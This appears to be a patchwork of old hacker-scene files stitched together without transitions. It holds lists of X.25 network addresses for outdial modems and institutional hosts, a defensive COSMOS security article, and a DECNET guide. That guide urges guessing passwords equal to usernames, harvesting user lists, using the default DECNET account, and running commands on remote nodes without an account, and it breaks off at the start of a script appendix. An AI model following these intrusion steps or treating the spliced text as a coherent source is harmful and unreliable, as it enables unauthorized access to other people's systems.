  0311 021 300 02200                    Interactive Systems Corporation
  0311 021 300 02700                    Mellonics Information Centre
  0311 021 300 029                      TRW Defence & Space Systems Group
B 0311 021 300 03300      ORBIT         Orbit
  0311 021 300 03300*D    ORBIT         SDC Search Service (300 bps)
  0311 021 300 04400                    SDC Search Service (1200 bps)
B 0311 021 300 039        USCAL2        Univ. of Southern California
  0311 021 300 04114      IHW           IHW
  0311 021 300 04700                    University of Southern California
B 0311 021 300 048        USCAL1        University of Southern California
B 0311 021 300 170                      LRS Dialog 2
T 0311 021 300 17000      DIALOG5       Lockheed Info Systems
  0311 021 300 17000*D    DIALOG2       Lockheed DIALOG service
B 0311 021 300 219        CALTECH       Caltech VAX 11/780
  0311 021 300 21908      CALTECH       Caltech VAX 11/780
  0311 021 300 21909      CALTECH2      Caltech VAX 11/780
  0311 021 300 412                      California Outdial 1200 bps (Area 213)
A 0311 021 300 413                      Outdial CA
  0311 021 300 668                      Adainfo
  0311 021 301 353        UCLA          UCLA, USA
  0311 021 301 40300                    Marshall & Swift Publication
  0311 021 400 117                      Outdial 300 bps (Area 214)
A 0311 021 400 118                      Texas Outdial 1200 bps (Area 214)
  0311 021 500 022                      Pennsylvania Outdial 2400 bps (Area 215)
  0311 021 500 112                      Pennsylvania Outdial 1200 bps (Area 215)
A 0311 021 600 020                      Outdial 300 bps (Area 216)
A 0311 021 600 021                      Ohio Outdial 1200 bps (Area 216)
  0311 021 700 021                      University of Illinois - Urbana
  0311 030 100 02000      NLM           National Library of Medicine
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A 0311 030 100 02400                   The Source
B 0311 030 100 038                     The Source (ID BSC131 SR3811)
B 0311 030 100 243                     ITT Dialcom
  0311 030 100 364                     Primesoft
A 0311 030 100 38                      The Source
B 0311 030 100 633                     Toxnet (NLM)
  0311 030 101 26500                   Informatics Inc
  0311 030 300 02000                   Computer Sharing Services
  0311 030 300 021                     Colorado Outdial 2400 bps (Area 303)
  0311 030 300 02300                   Broker Services Inc
  0311 030 300 115                     Colorado Outdial 1200 bps (Area 303)
  0311 030 301 13100                   EDI Computer Services
  0311 030 301 13200                   EDI Computer Services
  0311 030 301 13300                   Energy Enterprises
  0311 030 500 121                     Florida Outdial 1200 bps (Area 305)
  0311 030 501 16300                   Florida Computer Inc
D 0311 030 508 793                     Miami Outdial (Area 305) ?
  0311 031 200 02200                   National Computer Network of Chicago
  0311 031 200 024                     Illinois Outdial 2400 bps (Area 217 ?)
  0311 031 200 03100                   Continental Bank
  0311 031 200 03200                   Continental Bank
  0311 031 200 04900                   American Hospital Supply Corporation
  0311 031 200 411                     Illinois Outdial 1200 bps (Area 217 ?)
  0311 031 201 07300                   Commodity Information Services
  0311 031 268 801        ADPUSA       ADP Network Services Ltd.
  0311 031 300 024                     Michigan Outdial 2400 bps (Area 313)
  0311 031 300 04000                   ADP Network Services
  0311 031 300 06200                   Merit International (MIT)
  0311 031 300 216                     Michigan Outdial 1200 bps (Area 313)
  0311 031 301 39800                   Merit Computer
  0311 031 400 07200                   Environmental DataNetwork Inc.
  0311 031 401 06500                   McDonnel Douglas Automation (300 bps)
  0311 031 401 06600                   McDonnel Douglas Automation (110 bps)
  0311 031 401 06700                   McDonnel Douglas Automation (1200 bps)
  0311 031 401 61000                   McDonnel Douglas Automation (300 bps)
  0311 031 500 02000                   Bibliographic Retrieval Services
A 0311 040 100 612                     Modemcity
A 0311 040 400 114                     Georgia Outdial 1200 bps (Area 404)
A 0311 040 800 021                     California Outdial 1200 bps? (Area 408)
  0311 040 800 245                     Bridge
B 0311 040 800 246                     SCF
  0311 041 201 4600                    On-Line Systems Inc
  0311 041 400 02000                   A.O. Smith Data Systems Divisions
  0311 041 400 021                     Wisconsin Outdial 1200 bps (Area 414)
B 0311 041 500 020                     LRS-Dialog 2
A 0311 041 500 02000    DIALOG         Lockheed Information Systems
  0311 041 500 02000*D  DIALOG         Lockheed DIALOG service
B 0311 041 500 048                     LRS Dialog 2
  0311 041 500 04800    DIALOG2        Lockheed Information Systems 2
  0311 041 500 04800*D  DIALOG1        Lockheed DIALOG service
  0311 041 500 117                     California Outdial 1200 bps (Area 415)
I 0311 041 500 210                     Outdial USA
A 0311 041 500 215                     Outdial (Area 415)
A 0311 041 500 217                     Outdial (Area 415)
A 0311 041 500 220                     Outdial 1200 bps (Area 415)
  0311 041 500 48000                   Lockheed Information Systems (?)
B 0311 041 500 607                     BIONET
B 0311 041 500 609                     INTELLIGENETICS
  0311 041 501 23600                   Hydrocomp Inc (300 bps)
  0311 041 501 23700                   Hydrocomp Inc (1200 bps)
  0311 041 501 26800                   ITEL Corp (300 bps)
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  0311 041 501 26900              ITEL Corp (1200 bps)
  0311 041 501 59700              Stanford Library Centre for Inform
                                  Processing
  0311 041 501 59700              Standard Centre for Information Processing
O 0311 050 006 1                  Nuclear Research
A 0311 050 300 020                Outdial 300 bps (Area 503)
A 0311 050 300 021                Oregon Outdial 1200 bps (Area 503)
B 0311 050 500 060                ICN (=LASL)
B 0311 051 300 03000              Mead Data Central
  0311 051 501 39600              State University of New York
  0311 051 600 02200              Timesharing Resources
D 0311 060 200 020                Outdial 300 bps (Area 602)
D 0311 060 200 021                Outdial 1200 bps (Area 602)
B 0311 060 200 150                Phoenix
  0311 060 201 60900              Timesharing Associates
B 0311 060 300 020                Dartmouth College
  0311 060 300 02000    DARTMTH   Dartmouth College, USA
  0311 060 300 05000              Corporate Timesharing
  0311 060 301 54700              Raytheon Company Scientific Computer
                                  Service
X 0311 060 700 02000    CORNELL0  Cornell University (134.5 bps)
T 0311 060 700 02100    CORNELL1  Cornell University (300 bps)
T 0311 060 700 02200    CORNELL2  Cornell University (1200 bps)
  0311 060 700 02300    CORNELL3  Cornell University (1200 bps)
  0311 060 700 03600              TIPO Computer
  0311 060 702 00       CORNELL2  Cornell University
  0311 060 702 00       CORNELL2  Cornell University
  0311 060 800 02500              University of Wisconsin
  0311 060 801 6630                University of Wisconsin
  0311 060 900 4200                Dow-Jones
  0311 061 200 02500              Honeywell Inform Services Datanetwork
  0311 061 200 02700              Honeywell Inform Services Datanetwork
  0311 061 200 121                Minnesota Outdial 1200 bps (Area 612)
  0311 061 201 06500              Honeywell Inform Services Datanetwork,
                                  300 bps
  0311 061 201 06500              Honeywell Inform Services Datanetwork
  0311 061 201 06600              Honeywell Inform Services Datanetwork,
                                  110 bps
  0311 061 201 06700              Honeywell Inform Services Datanetwork,
                                  300 bps
  0311 061 201 06900              Honeywell Inform Services Datanetwork,
                                  134 bps
B 0311 061 400 021                CAS online
D 0311 061 400 02124    CASUSA    STN International
  0311 061 700 02000              Bolt Beranek & Newman
  0311 061 700 02300              Computer Corporation    of America
  0311 061 700 02400              AVCO Computer Services
  0311 061 700 03600              Data Resources Inc
  0311 061 700 03800              BBN-RCC
  0311 061 700 03800              Bolt Beranek & Newman
  0311 061 700 06700              Management Decision Systems Inc
  0311 061 700 07000              Interactive Science Corp
  0311 061 700 07600              Interactive Science Corp
  0311 061 700 08000              III Systems Inc
B 0311 061 700 08401              LCG
  0311 061 700 12000              Cullinane Corp
  0311 061 700 13700              Masachusetts Institute of Technology
  0311 061 700 13800              Masachusetts Institute of Technology
  0311 061 700 13900              Masachusetts Institute of Technology
  0311 061 700 14000              Masachusetts Institute of Technology
B 0311 061 700 270                Waltham
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B 0311 061 700 609                      Package
B 0311 061 700 613                      BBN10
B 0311 061 700 614                      BBNVAX
  0311 061 701 01600                    Data Resources Inc (300 bps)
  0311 061 701 01900                    Data Resources Inc (300 bps)
  0311 061 701 16100                    First Data Division/ADP Inc
  0311 061 701 16200                    First Data Division/ADP Inc
  0311 061 701 25800                    Data Resources Inc (134.5 bps)
  0311 061 701 26900                    Interactive Management Systems
  0311 061 701 27500                    Masachusetts Institute of Technology
  0311 061 701 39000                    Masachusetts Institute of Technology
  0311 061 701 40300                    Masachusetts Institute of Technology
  0311 061 703 088                      Delphi
  0311 061 900 050                      California Outdial 1200 bps (Area 619)
  0311 070 300 02000                    Litton Computer Services
  0311 070 300 02100                    American Management Systems
  0311 070 300 056                      PRC Computer Centre Inc
  0311 070 300 117                      Virginia Outdial 2400 bps (Area 703)
B 0311 070 300 50000                    NIH-EPA (CIS)
  0311 070 305 05200                    Digital Broadcasting Corporation
  0311 071 300 024                      Texas Outdial 2400 bps (Area 713)
  0311 071 300 114                      Texas Outdial 1200 bps (Area 713)
  0311 071 301 08300                    Corporate Services Inc
  0311 071 301 56500                    Rice University
  0311 071 400 02000     SCIAPP         Science Applications Inc.
  0311 071 401 13700                    Engineering Supervision Co
  0311 071 700 02000                    Brodart Inc
A 0311 080 100 020                      Outdial 300 bps (Area 801)
A 0311 080 100 021                      Utah Outdial 1200 bps (Area 801)
B 0311 080 100 054                      ES
  0311 080 101 13700                    Environmentech Information Systems
  0311 080 400 02000                    Multiple Access Computer Group
X 0311 080 800 01046    UKIRTUK         Infra Red Telescope in Hawaii
X 0311 080 800 040       UKIRT          UK Infra Red Telescope in Hawaii
A 0311 081 300 020                      Outdial 300 bps (Area 813)
A 0311 081 300 021                      Florida Outdial 1200 bps (Area 813)
D 0311 081 305 518                      Tampa Outdial (Area 813) ?
  0311 081 800 021                      California Outdial 1200 bps (Area 818)
D 0311 090 900 80000     JPLM3          Jet Propulsion Laboratory mail 2, USA
  0311 090 900 8100                     Telemail
  0311 091 400 02200                    Electronic Tabulating Corporation
  0311 091 600 050                      California Outdial 1200 bps (Area 916)
A 0311 091 900 020                      Outdial 300 bps (Area 919)
A 0311 091 900 021                      Outdial 1200 bps (Area 919)
  0311 3                 RCA            USA - RCA (RCAG)
  0311 9                                USA - TRT
  0312 4                                USA - FTCC
  0312 5                                USA - Uninet
  0312 521 210 1         DIALOG6        Lockheed Info Systems
D 0312 561 703 080                      UNINET
B 0312 561 703 088                      Delphi
  0312 6                 AUTONET        USA - Autonet
  0312 688 01            AUTONET        AUTONET Information
  0312 7                                USA - Telenet
  0313 2                 COMPU          USA - Compuserve
  0313 6                                USA - Geisco
  0334                                  Mexico
  0334 0                                Telepac
  0340                   FA             French Antilles (Martinique (Curacau?))
  0340 0                                Dompac/NTI
  0342                   BDS            Barbados
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  0342 235 191 9169
  0350                                Bermuda
  0350 3                              PSDS
  0425                      IL        Israel
  0425 1                              Isranet
B 0425 130 000 215                    Israelbox
  0426                      BRN       Bahrain
  0426 3                              BTC
  0431                      DXB       United Arab Emirates - Dubai
  0440                      J         Japan
  0440 1                              DDX-P
B 0440 129 431 04                     KEK VAX
B 0440 129 431 21                     Tsukuba Uni
  0440 8                    VENUSP    Venus-P (Japanese data network)
I 0440 820 023                        KDD ?
B 0440 820 060 01          KDD       KDD Test Host, TOKYO
  0442
B 0442 110 403 25                     OKI
B 0442 433 403 07                     CMES
  0450                                South Korea
  0450 1                              Dacom/DNS
  0454                      HK        Hong Kong
  0454 2                              Intelpak
  0454 5                              Datapak
A 0454 550 010 4           HKDATA    Hong Kong DATAPAK Info
A 0454 550 043 1           DATAFAX
  0487                                Taiwan
  0487 2                              Pacnet
  0487 7                              Udas
  0505                      AUS       Australia
  0505 2                              Austpac
  0505 228 621 000                    Anglo/Australian Observatory
  0505 228 621 001                    CSIRO Radio-Physics
  0505 228 621 001                    FTP for Epping
  0505 233 422 000          MELBUNI   Melbourne Univ. Australia
A 0505 273 720 000          UQ        Univ. of Queensland Australia
A 0505 273 720 000          UQXA      University of Queensland ANF-10 gateway
D 0505 273 722 0000                   Uni Queensland
  0505 282 620 000                    FTP For Austek
A 0505 282 620 000                    VAX in Sidney, Australia
  0505 3                              Midas
  0505 321 000 1                      Network test
  0505 321 000 3                      MIDAS FOX Test
  0510                                Indonesia
  0510 1                              PSDS (1986)
  0525                      SGP       Singapore
  0525 2                              Telepac
A 0525 211 668 8           TELEPAC   Telepac Info
  0530                      NZ        New Zealand
  0530 1                              P.S.S. (Pacnet)
  0530 171 000 004          WAIKATO   Univ of Waikato New Zealand
B 0530 197 000 016          ASMAIL
  0547                                Fr.Polyn.
  0547 0                              Tompac
  0612                                Ivory Coast
  0612 2                              Sytranpac
  0647                                Reunion
  0647 0                              Dompac/NIT
  0655                      ZA        South Africe
  0655 0                              Saponet
D 0655 011 101 207                    UNI-NET
```

```
  0714                            Panama
  0714 1                          Intelpac
  0722                            Argentinia
  0722 2                          Arpac
I 0722 221 110 0171
  0724                  BR        Brazil
  0724 0                          Interdata
  0724 1                          Renpac
D 0724 782 450 8                  Nuclear Research Institute
  0730                            Chile
  0730 0                          Entel
  0732                            Colombia
  0732 0
  0742                            French Guiana
  0742 0                          Dompac/NTI
  0900                            USA ?
  0900 0                          Dialnet
```

```
==============================================================================
|
| Local addresses on KOMETH (0228 479 110 86):
|
|   11  KOMETH-Informations
|  120  Modems 1200 bps (predefined numbers, some with a PW)
|  124  Modems 2400 bps (      "          "   , "   "    a PW)
|  130  Modems 300 bps  (      "          "   , "   "    a PW)
|  1D0  RZ-VAX (EZRZ1)
|  300  ETZ-VAX (CUMULI)
|  520  ETHICS, Library database
|  D11  PSI-Informations
| C000  Time
| C025  X25 Gateway (RZU, with password)
| C011  NUZ-Informations
| C100  RZU, VM/SP, full-screen
|
| There are two information systems on the RZ-VAX:
|
|  MAC-BBS  BBS with Mac-specific informations. Access for validated users
|           only (that means that you have to type in your name, address and
|           whether you're a student at the ETH or not and then wait a few
|           days).
|           (Username=MAC)
|  VisInfo  Informations server of the VIS (Verein der InformatikStudenten)
|           Contains some boards with mail from several networks and from
|           local sources.  Has a CHAT (closed during prime time hours). Free
|           access.
|           (Username=VISINFO)
|
==============================================================================
=
|
| Local addresses at CERN (0228 468 114 0510):
|
|   17  Lyon (own network)
|   23  PAD
|   31  VXOMEG
|   41  Wisconsin/Madison
|   42  CERNLINE 193
|   45  DECserver
|   51  ALEPH
|   56  MERLIN VAX
```

```
 |   61   (Prompt )
 |   72   Wylbur / VM
 |  100   Wylbur / VM
 |  101   VM/370 CERNVM
 |  102   VM/370 CERNVMB
 |  103   VM/370 CERNVM
 |  110   VXLDB1 VAX 8650 VMS 4.6
 |  111   Information
 |  112   VXSB
 |  115   VXLDB1
 |  120   Service CAD_CAM (VAX 8650+VAX785)/SYSTEME=VMS 4.6
 |  121   CAD_CAM
 |  122   VXCERN
 |  123   VXCERN
 |  124   BSD
 |  125   CERNVM
 |  127   PAD
 |  130   L3 test beam VXC3
 |  137   ALEPH-TPC
 |  140   VXEPEL
 |  141   DECserver 200 ("user friendly")
 |  142   CERNADD
 |  146   VXEPEL
 |  147   Uni Genf TEC VAXTEC
 |  151   CCVAX / DECserver 200
 |  152   Uni Genf WA70
 |  154   ALEPH 750 Fastbus VAX
 |  161   MCR
 |  162   MCR
 |  166   VXWA80
 |  167   cernvax
 |  170   VXINFN
 |  175   ALEPH
 |  176   MCR with HELP
 |  X29   X25 Gateway
 |
 |==============================================================================
 |=
 |
 | Addresses on Merit (0228 468 114 0583):
 |
 |  The principal host computers on Merit are:
 |
 |   Name          System/machine      Organization          Location
 |   ----          --------------      ------------          --------
 |   MSUnet-IBM   VM/CMS IBM 3090-180  Michigan State Univ   East Lansing
 |     OU         Multics Honeywell    Oakland Univ          Rochester
 |     UB         MTS IBM 3090-400     Univ of Michigan      Ann Arbor
 |     UM         MTS IBM 3090-400     Univ of Michigan      Ann Arbor
 |     WM         DECsystem-10         Western Michigan Univ Kalamazoo
 |     WU         MTS Amdahl 470V/8    Wayne State Univ      Detroit
 |
 |  If you have a question about the use of the Merit Network, call
 |  (313) 764-9423 and ask for a user consultant.
 |
 |  Other host computers and services available on the Merit network:
 |
 | Autonet             CMU-Cyber           CMU-IBM             Datapac
 | DIALOUT-AA          DIAL1200-AA         DIAL2400-AA         DIAL300-AA
 | EMU-VAX             IGW                 ITI                 MAGNET
 | MSU-CLSI            MSU-CLVAX1          MSU-EGRNET          MSU-IBM
```

```
| MSU                 MTU                 MTUS5            OU-SecsNet
| RPI                 RUAC                Survey           Telenet
| UM-Annex            UM-CIC              UM-CLINFO        UM-dippy
| UM-DSC              UM-EnginHarris      UM-MMVAX         UM-Public-Service
| UM-QuickSlides      UM-RAVAX            UM-zippy         UMD-LIB
| UMLIB               UMLIB-300           WAYNEST1         WAYNEST2
| WMU-CAE             WMU-Kanga           WMU-Pooh         WMU-Puff
| WMU-Tigger          WMU-Winnie          WSU-CSVAX        WSU-ET
| WSUNET              ZOOnet-KCollege     ZOOnet-KVCC      ZOOnet-Nazareth
|
| Some of the other computers and services which can be accessed via Telenet,
| Autonet, and Datapac:
|
| ABA/NET             ACP                 ADPNS-261        ADPNS-3
| ADPNS-446           ADPNS-9             Alberta          ARTFL
| Automail-23         Automail-297        Boeing           British-Columbia
| BRS                 Cal-Berkeley        Calgary          Caltech-HEP
| Carnegie-DEC-20     Carnegie-MICOM      Carnegie-11/45   CompuServe
| Comshare            Cornell             Dalhousie        DatapacInfo
| Dialcom             Dialog              Dow-Jones        Guelph
| Guelph-Cosy         Illinois            Illinois-Cyber   LEXIS
| Manitoba            Maryland-Unix       McGill           MGH
| Minnesota-Cyber     Minnesota-VAX       MIT-Multics      MIT-VM
| Montreal            Natl-Lib-Med        NCAR-Telenet     New-Brunswick
| Newsnet             NJIT-EIES           NLM              NLM-MCS
| Notre-Dame          NRC                 NYTimes          OAG
| Queens              Rice                SDC              SFU
|
```

COSMOS

COmputer System for Mainframe OperationS

Part Two

by King Arthur

     This article will present solutions to the computer security problems
presented in my previous file. The following are simple but often neglected
items which if properly treated can immensely increase your company's computer
security. These points apply not merely in regards to COSMOS, but to all
computers in all companies.

A) Dial-Up Security:

     When securing a computer system, regardless of its type, it's important
to
remember this: the only way someone can remotely access your system is if
there
is a dial-up line leading to that system. If your system has a dial-up, make
sure that you have taken every possible precaution to secure that line. "The
one piece of advice I would give is: Be careful with dial-up lines," says
Bellcore's Ed Pinnes.

     Dave Imparato, Manager of Database Management at New York Telephone,
says,
"We have devices that sit in front of our computers that you have to gain
access to. In order to even get to COSMOS, there are three or four levels of
security you have to go through, and that's before you even get to the
system."

Rules for protection of Dial-Up lines:

1. Have as few dial-up lines as possible. Private lines or direct
connections
    are often a viable replacement for dial-up lines.

2. If you must have phone lines going to your computer, use external
hardware,
    if possible. For instance, the Datakit Virtual Circuit Switch (VCS) will
    require a user to specify an "access password" and a system destination to
    specify which system you are calling. The VCS would then connect you to
    the requested system which would prompt you for a login and password.
    Using hardware similar to this serves a double purpose:

         A) It is harder for someone to get into your computer, due to
            additional passwords;

         B) Employees need only dial a single number to access a number of
            systems.

    Another good type of hardware is a callback modem. A callback modem will
    prompt users for a login and password. If these are correct, the modem

will automatically callback to a predetermined number. At that point you
would login to the computer. The advantage of callback is that unless a
call is placed from a certain phone, there is no way to connect.
Unfortunately, this is not always efficient for systems with large numbers
of users.

Lastly, and the most effective means of access, is to have a system which
does not identify itself. A caller has to enter a secret password, which
doesn't display on the screen. If a caller doesn't type the correct
password, the system will hang up, without ever telling the caller what
has
happened.

3. If you ever detect "hackers" calling a certain number, it is advisable to
    change that number. Phone numbers should be unlisted. According to a
    hacker, he once got the number to an AT&T computer by asking directory
    assistance for the number of AT&T at 976 Main Street.

4. If dial-up lines aren't used on nights or weekends, they should be
    disabled. Computer hackers usually conduct their "business" on nights or
    weekends. The COSMOS system has the ability to restrict access by time of
    day.

B) Password Security:

    Using the analogy between a computer and a file cabinet, you can compare
a
password to the lock on your file cabinet. By having accounts with no
passwords you are, in effect, leaving your file cabinet wide open. A system's
users will often want passwords that are easy to remember. This is not an
advisable idea, especially for a database system with many users. The first
passwords tried by hackers are the obvious. For instance if MF01 is known to
be the user name for the frame room, a hacker might try MF01, FRAME, MDF, or
MAINFRAME as passwords. If it's known to a hacker that the supervisor at the
MDF is Peter Pinkerton, PETE or PINKERTON would not be very good passwords.

Rules for password selection:

1. Passwords should be chosen by system administrators or the like. Users
    will often choose passwords which provide no security. They should not be
    within the reach of everybody in the computer room, but instead should be
    sent via company mail to the proper departments.

2. Passwords should be changed frequently, but on an irregular basis -- every
    four to seven weeks is advisable. Department supervisors should be
    notified of password changes via mail, a week in advance. This would
    ensure that all employees are aware of the change at the proper time. One
    thing you don't want is mass confusion, where everybody is trying to
figure
    out why they can't access their computers.

3. System administrators' passwords should be changed twice as often because
    they can allow access to all system resources. If possible, system
    administrator accounts should be restricted from logging in on a dial-up
    line.

4. A password should NEVER be the same as the account name. Make sure that
    ALL system defaults are changed.

5. Your best bet is to make passwords a random series of letters and
numbers.

For example 3CB06W1, Q9IF0L4, or F4W21D0. All passwords need not be the
     same length or format. Imparato says, "We built a program in a PC that
     generates different security passwords for different systems and makes
sure
     there's no duplication."

6. It's important to change passwords whenever an employee leaves the company
     or even changes departments. Imparato says, "When managers leave our
     organization, we make sure we change those passwords which are necessary
to
     operate the system."

7. The Unix operating system has a built-in "password aging" feature, which
     requires a mandatory change of passwords after a period of time. If you
     run any Unix-based systems, it's important to activate password aging.

8. When you feel you have experienced a problem, change ALL passwords, not
     just those passwords involved with the incident.

C) Site security:

     There have been a number of articles written by hackers and published in
2600 Magazine dealing with garbage picking or what hackers call "trashing".
It's important to keep track of what you throw out. In many companies,
proprietary operations manuals are thrown out. COSMOS itself is not a
user-friendly system. In other words, without previous exposure to the system
it would be very difficult to operate. Bellcore's Beverly Cruse says, "COSMOS
is used in so many places around the country, I wouldn't be surprised if they
found books... in the garbage, especially after divestiture. One interesting
thing about a COSMOS article written by hackers, is that there was a lot of
obsolete information, so it shows that wherever the information came from...
it
was old."

Rules for site security:

1. Although it may seem evident, employees should be required to show proper
     identification when entering terminal rooms or computer facilities. It's
     doubtful that a hacker would ever attempt to infiltrate any office, but
     hackers aren't the only people you have to worry about.

2. Urge employees to memorize login sequences. It's a bad idea for passwords
     to be scribbled on bits of paper taped to terminals. Eventually, one of
     those scraps may fall into the wrong hands.

3. Garbage should be protected as much as possible. If you use a private
     pick-up, keep garbage in loading docks, basements, or fenced-off areas. If
     you put your garbage out for public sanitation department pick-up, it's a
     good idea to shred sensitive materials.

4. Before throwing out old manuals or books, see if another department could
     make use of them. The more employees familiar with the system, the less
of
     a chance that there will be a security problem.

5. Printing terminals should be inspected to make sure that passwords are not
     readable. If passwords are found to echo, check to see if the duplex is
     correct. Some operating systems allow you to configure dial-ups for
     printer use.

D) Employee Security:

     When a hacker impersonates an employee, unless he is not successful there
is a great chance the incident will go unreported. Even if the hacker doesn't
sound like he knows what he's talking about, employees will often excuse the
call as an unintelligent or uninformed person. It's unpleasant to have to
worry about every call with an unfamiliar voice on the other end of the phone,
but it is necessary.

Rules for employee security:

1. When making an inter-departmental call, always identify yourself with:
    1) Your name; 2) Your title; and 3) Your department and location.

2. Be suspicious of callers who sound like children, or those who ask you
    questions that are out of the ordinary. Whenever someone seems
suspicious,
    get their supervisor's name and a callback number. Don't discuss anything
    sensitive until you can verify their identity. Don't ever discuss
    passwords over the phone.

3. When there is a security problem with a system, send notices to all users
    instructing them not to discuss the system over the phone, especially if
    they do not already know the person to whom they are talking.

4. Remind all dial-up users of systems, before hanging up.

5. If security-minded posters are put up around the workplace, employees are
    bound to take more care in their work and in conversations on the phone.

6. If managers distribute this and other computer security articles to
    department supervisors employee security will be increased.

E) General Security:

     Bellcore recently sent a package to all system administrators of COSMOS
systems. The package detailed security procedures which applied to COSMOS
and
Unix-based systems. If you are a recipient of this package, you should re-
read
it thoroughly to ensure that your systems are secure. Cruse says, "Last
year... I had a call from someone within an operating company with a COSMOS
security problem. All we really did was give them documentation which
reminded
them of existing security features... There is built-in security in the
COSNIX
operating system... We really didn't give them anything new at the time. The
features were already there; we gave them the recommendation that they
implement all of them."

     If you feel you may not be using available security features to the
fullest, contact the vendors of your computer systems and request
documentation
on security. Find out if there are security features that you may not be
currently taking advantage of. There are also third party software companies
that sell security packages for various operating systems and computers.

     Computer security is a very delicate subject. Many people try to pretend
that there is no such thing as computer crime. Since the problem exists, the

best thing to do is to study the problems and figure out the best possible
solutions. If more people were to write or report about computer security, it
would be easier for everyone else to protect themselves. I would like to see
Bellcore publish security guidelines, available to the entire
telecommunications industry. Keep in mind, a chain is only as strong as its
weakest link.

_____
  _

Disclaimer: I take no responsibility for any use or abuse of the information
             contained in this article, nor for any damage caused by the use
of
             methods described. DECNET, VAX, and VMS are possibly registered
             trademarks of Digital Equipment Corporation.

There comes a time when every somewhat intelligent programmer asks: Is
hacking
difficult? Now, being in a university network, why don't just give it a try?
Since one is an official student and somewhat authorized to use the computing
facilities, testing the modern means of communication should cause no trouble.

Well, you start searching on those nodes, you have official access for
interesting programs and procedures. And you find: Netdcl, just one program
of many, that obviously enables one to run commands on remote nodes without
having an account on these nodes. A really interesting thing, as nearly
everything is allowed that a normal user can do.

The dear reader may start to think: Wasn't there always the shouting about
VMS
being the MOST SECURE computer system, making it UNPENETRABLE to hackers? Ok,
cool down, this feature can be disabled and so, you think, if someone has
super
secret data on his VAX, he will stop any use or abuse of this feature.

2nd Act -- Somewhere one has heard about some mystery things called system
calls. Since one always wanted to know about how to react on keystrokes on a
VAX (really being not trivial!) you start reading the manuals more precisely
to
find out how to do it in Pascal.

Randomly on browsing thru the pages you discover functions which deliver
information about Userids. This comes in handy, as a friend engaged in
university politics wants to distribute a leaflet by email to all registered
users. In fact, it's completely unproblematic to gain a list of all users.
An
example program, although written in Assembler, is even contained in the
manuals. Enjoy a list of 1000 Userids complete with information about network
access rights. The Pascal program is contained in Appendix B (later in this
file).

Sorry, passwords are not stored in this list. Even the Sysop can't access
them, so that's no great loss. Guess what passwords many accounts have?
Sure,
just try the username. It's really amazing how ignorant users can be. Of

course this is a problem of group-accounts, that many users have access to and
must know the password. Nevertheless, the hole is there.

The real hacker, once he has logged in on such an account surely finds ways to
gain system privilege. This requires in-depth knowledge of the Kernel of VMS
and is another story I won't deal with.

What is DECNET?
~~~~~~~~~~~~~~~~
DECNET is the means, by which computers from Digital Equipment Corporation
(DEC) can be connected to each other. Each computer in this network has an
address which is normally given by x.y where x is the area number (an integer)
and y is the node number in this area which ranges from 1 to 1023. To access
DECNET nodes, one specifies just one number, which can be computed from x and
y
by the following formula:

    nodenumber = x * 1024 + y

Often nodes, especially local nodes (having the same area number as your
current node) have names assigned to them so they can be memorized more
easily.

Interesting DECNET Commands
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To get a (first) list of available DECNET nodes, try the command

    $ SHOW NET

The $ (as in the following examples) is the default prompt of VMS and should
not be entered. This Command will give you a list of (hopefully) reachable
nodes. All lines of the output contain the network address in the form x.y
and
normally a name which this node is known by.

Your current node is mentioned in the first line in "VAX/VMS network status
for
local node X.Y Name". In most cases you will then just see local nodes listed
and a line saying "The next hop to the nearest area router is node XX.YY".
This node contains more information about the DECNET than the node you are
currently on. If you have an account on the specified node, log on there and
try again. If not, well, play with the local nodes listed and look at the
command NCP shown later.

Now, what can you do with those nodes that were mentioned in the output?
First command is

    $ SET HOST <node>

Where <node> is either a nodename or a nodenumber (see above). Thus, if
SDIVAX
was listed in the SHOW NET list as 42.13, then you may try both SET HOST
SDIVAX
or SET HOST 43021 (42*1024+13 = 43021). Probably you'll get that ugly
Username: prompt. You're on your own then.

Second thing you can do with DECNET is email. On VMS the MAIL program can
send
mail to other users. If you and your friend both have accounts on the same

DECNET, you can send him mail if you know his nodename or nodenumber by
specifying SDIVAX::FREDDY or 43021::FREDDY.

Then there is PHONE. This is a utility to talk to another (or several)
user(s)
on a DECNET. If you want to call Freddy, just type PHONE SDIVAX::FREDDY. If
he is logged in, his terminal will ring and if he answers his phone (with
PHONE
ANSWER) you may chat with him. PHONE has another nice feature built in: You
may ask for a list of active users on a remote name by %DIR SDIVAX. See the
online help on PHONE for further details.

The next really mighty DECNET facility is remote file access. Valid filenames
in VMS consist of the components node, disk, directory and filename. An
example for a valid filename is SDIVAX::DISK$2:[NASA.SECRET]SDI.DOC where some
components may be omitted and default values are used instead.

File names including the node specification may be used in nearly all VMS
commands examples being DIR, TYPE and COPY. Access to the specified file is
granted, if the protection of the file allows access by world, or if the owner
of the file is the user DECNET. This pseudo userid is available on every VAX
and has the password DECNET. Access to that account is limited to network
processing so you can't just log in with Username=DECNET, password=DECNET. By
default a special directory owned by the User DECNET exists on each node.
This
directory can be accessed by just specifying the nodename without any disk or
directory information, as in

     $ DIR SDIVAX::

If users played too much with this feature, the directory may be protected or
otherwise disabled.

The last feature described here is the remote command processing facility. If
you try to open a file with the specification

     $ SDIVAX::"task=foo.com"

Instead of opening the DCL procedure, foo.com will be executed. To make use
of
this feature easily, programs have been written to interactively communicate
with a remote host. The command procedure NETDCL.COM does this task and is
contained in the Appendix A (seen later in this file. Look at this
DCL-Procedure to learn more about DECNET features.

The Key To Universal Knowledge
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
There is a pearl under the programs on a VAX. It's called NCP and will give
readily information about the whole DECNET. You start this program either by
MCR NCP or by doing a SET DEF SYS$SYSTEM and RUN NCP. Use the on-line Help
provided in NCP (which means Network Control Program) to learn more.

     NCP> SHOW KNOWN NODES

Provides a list of all nodes known on your current node, including the names
you may use as node specifications. But there is more: You may connect to
another node's database and get a list of nodes which are known at the remote
node with

     NCP> SET EXEC SDIVAX

And then again the SHOW KNOWN NODES command. This feature should provide you
with a nearly infinite list of node names and node numbers.

Conclusion
~~~~~~~~~~
There are many nice features available under DECNET. Probably I don't know
all, but I hope this article showed you the mighty tools available on VMS to
make network life easier.

WARNING: The author has had bad experiences with some node administrators,
          who didn't like their machines being contacted over DECNET. Yes,
          that's the drawback, each DECNET activity is written to a protocol
          file that is printed and deleted every month. So you should be
          careful in using DECNET.
- -
-

APPENDIX A:

The Procedure NETDCL.COM, sometimes called TELL.COM, NET.COM

```
$ IF f$mode() .EQS. "NETWORK" THEN GOTO network
$ IF p1 .EQS. "" THEN READ/PROMPT="_Node: " sys$command p1
